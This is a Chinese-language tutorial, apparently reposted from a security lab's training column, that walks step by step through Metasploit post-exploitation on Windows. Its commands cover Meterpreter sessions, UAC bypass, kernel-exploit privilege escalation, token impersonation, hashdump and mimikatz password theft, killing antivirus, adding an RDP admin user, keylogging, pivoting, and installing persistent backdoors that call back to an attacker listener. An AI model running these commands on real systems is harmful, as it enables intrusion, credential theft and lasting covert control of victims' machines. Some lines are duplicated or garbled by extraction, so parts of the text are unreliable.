超实用!手把手教你如何用MSF进行后渗透测试!

超实用!手把手教你如何用MSF进行后渗透测试!

2023年7月20日发(作者:)

超实⽤!⼿把⼿教你如何⽤MSF进⾏后渗透测试!  在对⽬标进⾏渗透测试的时候,通常情况下,我们⾸先获得的是⼀台web服务器的webshell或者反弹shell,如果权限⽐较低,则需要进⾏权限提升;后续需要对系统进⾏全⾯的分析,搞清楚系统的⽤途;如果⽬标处于⼀个内⽹环境中,那么我们就需要通过它对内⽹的其它终端进⾏信息收集和渗透测试,更全⾯地挖掘系统中存在的安全隐患。  本期安仔课堂,ISEC实验室的向⽼师为⼤家介绍如何使⽤MSF进⾏后渗透测试。  ⼀、获取Meterpreter会话  Meterpreter 是msf的⼀个payload,⽬标执⾏之后,我们会得到⼀个会话,和常见的shell会话类似,但是它的功能更加强⼤,它是执⾏后渗透测试的实施通道。  1.直接获取  (1) 使⽤msfvenom⽣成payload  常⽤命令:  (2)本地监听  监听需要⽤到msf的exploit/multi/handler模块,使⽤show options查看需要设置的参数。重要的参数有三个:监听使⽤的payload、本地ip、本地监听端⼝。这些参数的值跟之前msfvenom使⽤的参数⼀样。

  (3)获得会话  将⽣成的exe⽂件或者其它类型的payload⽂件在⽬标上执⾏,就可以获得⼀个meterpreter会话,之后就可以使⽤msf开展后渗透测试的相关⼯作。  ll升级为meterpreter  如果最开始获取的是cmdshell,后来发现这台机器⾮常适合作为测试其它终端的跳板,这个时候cmdshell的功能已经不能满⾜需要,升级成meterpreter就⼗分有必要。  (1)以ms17-010的利⽤为例,默认使⽤的payload返回的就是cmdshell  (2)将该cmdshell升级成meterpreter  命令:sessions-ucmdshell的id  (3)查看是否升级成功  ⼆、提权  通常webshell的权限都⽐较低,能够执⾏的操作有限,没法查看重要⽂件、修改系统信息、抓取管理员密码和hash、安装特殊程序等,所以我们需要获取系统更⾼的权限。  1.绕过UAC  ⽤户帐户控制(UAC)是微软在 Windows Vista 以后版本引⼊的⼀种安全机制,有助于防⽌对系统进⾏未经授权的更改。应⽤程序和任务可始终在⾮管理员帐户的安全上下⽂中运⾏,除⾮管理员专门给系统授予管理员级别的访问权限。UAC 可以阻⽌未经授权的应⽤程序进⾏⾃动安装,并防⽌⽆意中更改系统设置。  msf提供了如下⼏个模块帮助绕过UAC:

  以exploit/windows/local/bypassuac_eventvwr为例,其它模块的使⽤⽅法基本⼀致。  (1)⾸先需要在meterpreter下执⾏background命令让当前会话保存到后台。  (2)使⽤sessions命令可以查看所有后台的会话,每个session对应⼀个id值,后⾯会经常⽤到。  (3)使⽤use exploit/windows/local/bypassuac_eventvwr命令进⼊该模块,使⽤show options查看需要设置的参数。  (4)将参数session设置为1,直接运⾏exploit或者run命令,执⾏成功之后会返回⼀个新的meterpreter会话。  (5)使⽤getuid命令查看当前⽤户,此时仍然是普通⽤户,再使⽤getsystem命令就可以提升到system权限了。  2.利⽤系统漏洞提权  ⽆论是linux还是windows都出过很多⾼危的漏洞,我们可以利⽤它们进⾏权限提升,⽐如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利⽤模块。  (1)使⽤search 补丁号进⾏搜索,就可以找到相关模块,以ms13-081为例。  (2)使⽤use exploit/windows/local/ms13_081_track_popup_menu命令进⼊该模块,使⽤show options命令查看需要设置的参数。  (3)使⽤set session 1命令设置后台的meterpreter会话id,再使⽤run命令运⾏,获取的就是SYSTEM权限。  (3)使⽤set session 1命令设置后台的meterpreter会话id,再使⽤run命令运⾏,获取的就是SYSTEM权限。  三、进程迁移  当meterpreter单独作为⼀个进程运⾏时容易被发现,如果将它和系统经常运⾏的进程进⾏绑定,就能够实现持久化。  1.查看当前会话的进程id  命令:getpid  2.查看⽬标运⾏的进程  命令:ps  3.绑定进程  命令:migratepid  四、令牌假冒  在⽤户登录windows操作系统时,系统都会给⽤户分配⼀个令牌(Token),当⽤户访问系统资源时都会使⽤这个令牌进⾏⾝份验证,功能类似于⽹站的session或者cookie。msf提供了⼀个功能模块可以让我们假冒别⼈的令牌,实现⾝份切换,如果⽬标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的⾓⾊。  1.查看当前⽤户  图20  2.使⽤use incognito命令进⼊该模块  3.查看存在的令牌  命令:list_tokens-u  4.令牌假冒  命令:impersonate_token⽤户名  注意⽤户名的斜杠需要写两个。  5.查看是否成功切换⾝份  五、获取凭证  在内⽹环境中,⼀个管理员可能管理多台服务器,他使⽤的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内⽹其它服务器,可能取得意想不到的效果。  1.使⽤meterpreter的run hashdump命令。  2.使⽤load mimikatz加载mimikatz模块,再使⽤help mimikatz查看⽀持的命令。  3.使⽤wdigest命令获取登录过的⽤户储存在内存⾥的明⽂密码。  六、操作⽂件系统  1.⽂件的基本操作  ls:列出当前路径下的所有⽂件和⽂件夹。  pwd 或 getwd:查看当前路径。  search:搜索⽂件,使⽤search -h查看帮助。  cat:查看⽂件内容,⽐如cat 。  edit:编辑或者创建⽂件。和Linux系统的vm命令类似,同样适⽤于⽬标系统是windows的情况。  rm:删除⽂件。  cd:切换路径。  mkdir:创建⽂件夹。  rmdir:删除⽂件夹。  getlwd 或 lpwd:查看⾃⼰系统的当前路径。  lcd:切换⾃⼰当前系统的⽬录。  lls:显⽰⾃⼰当前系统的所有⽂件和⽂件夹。  lls:显⽰⾃⼰当前系统的所有⽂件和⽂件夹。  2.⽂件的上传和下载  (1) upload  格式:upload本地⽂件路径⽬标⽂件路径  (2)download  格式:download ⽬标⽂件路径 本地⽂件路径  七、系统其它操作  1.关闭防病毒软件  run killav  run post/windows/manage/killav  2.操作远程桌⾯  run post/windows/manage/enable_rdp开启远程桌⾯  run post/windows/manage/enable_rdp username=test password=test添加远程桌⾯的⽤户(同时也会将该⽤户添加到管理员组)  3.截屏  screenshot  4.键盘记录  keyscan_start:开启键盘记录功能  keyscan_dump:显⽰捕捉到的键盘记录信息  keyscan_stop:停⽌键盘记录功能  5.执⾏程序  execute -h 查看使⽤⽅法  -H:创建⼀个隐藏进程  -a:传递给命令的参数  -i:跟进程进⾏交互  -m:从内存中执⾏  -t:使⽤当前伪造的线程令牌运⾏进程  -s:在给定会话中执⾏进程  例:execute -f c:/temp/  ⼋、端⼝转发和内⽹代理  d  portfwd是meterpreter提供的端⼝转发功能,在meterpreter下使⽤portfwd -h命令查看该命令的参数。  常⽤参数:  -l:本地监听端⼝  -r:内⽹⽬标的ip  -p:内⽹⽬标的端⼝  上⾯命令执⾏之后,会将10.1.1.3的3389端⼝转发到本地的2222端⼝。    pivot是msf最常⽤的代理,可以让我们使⽤msf提供的扫描模块对内⽹进⾏探测。  (1)⾸先需要在msf的操作界⾯下添加⼀个路由表。  添加命令:route add 内⽹ip ⼦⽹掩码 session的id  打印命令:route print  路由添加成功之后就可以在msf⾥访问10.1.1.0/24这个⽹段。  路由添加成功之后就可以在msf⾥访问10.1.1.0/24这个⽹段。  (2)建⽴socks代理。  如果其它程序需要访问这个内⽹环境,就可以建⽴socks代理。  msf提供了3个模块⽤来做socks代理。  auxiliary/server/socks4a

  use auxiliary/server/socks5

  use auxiliary/server/socks_unc  以auxiliary/server/socks4a为例,查看需要设置的参数。  ⼀共两个参数:  SRVHOST:监听的ip地址,默认为0.0.0.0,⼀般不需要更改。  SRVPORT:监听的端⼝,默认为1080。  直接运⾏run命令,就可以成功创建⼀个socks4代理隧道,在linux上可以配置proxychains使⽤,在windows可以配置Proxifier进⾏使⽤。  九、后门  Meterpreter的shell运⾏在内存中,⽬标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使⽤exploit获取权限,所以需要持久的后门对⽬标进⾏控制。  Msf提供了两种后门,⼀种是metsvc(通过服务启动),⼀种是persistence(⽀持多种⽅式启动)。    (1) 使⽤run metsvc -h查看帮助,⼀共有三个参数。  -A:安装后门后,⾃动启动exploit/multi/handler模块连接后门  -h:查看帮助  -r:删除后门  (2) 安装后门  命令:run metsvc  命令运⾏成功后会在C:WindowsTEMP⽬录下新建随机名称的⽂件夹,⾥⾯⽣成3个⽂件(、、)。  同时会新建⼀个服务,显⽰名称为Meterpreter,服务名称为metsvc,启动类型为”⾃动”,绑定在31337端⼝。  (3) 连接后门  使⽤exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置⽬标ip和绑定端⼝31337。  tence  (1) 使⽤run persistence -h查看参数。  -A:安装后门后,⾃动启动exploit/multi/handler模块连接后门  -L:⾃启动脚本的路径,默认为%TEMP%  -P:需要使⽤的payload,默认为windows/meterpreter/reverse_tcp  -S:作为⼀个服务在系统启动时运⾏(需要SYSTEM权限)  -T:要使⽤的备⽤可执⾏模板  -U:⽤户登陆时运⾏  -X:系统启动时运⾏  -i:后门每隔多少秒尝试连接服务端  -p:服务端监听的端⼝  -r:服务端ip  (2) ⽣成后门  命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444  (3) 连接后门  使⽤exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端⼝。

发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1689814346a288344.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信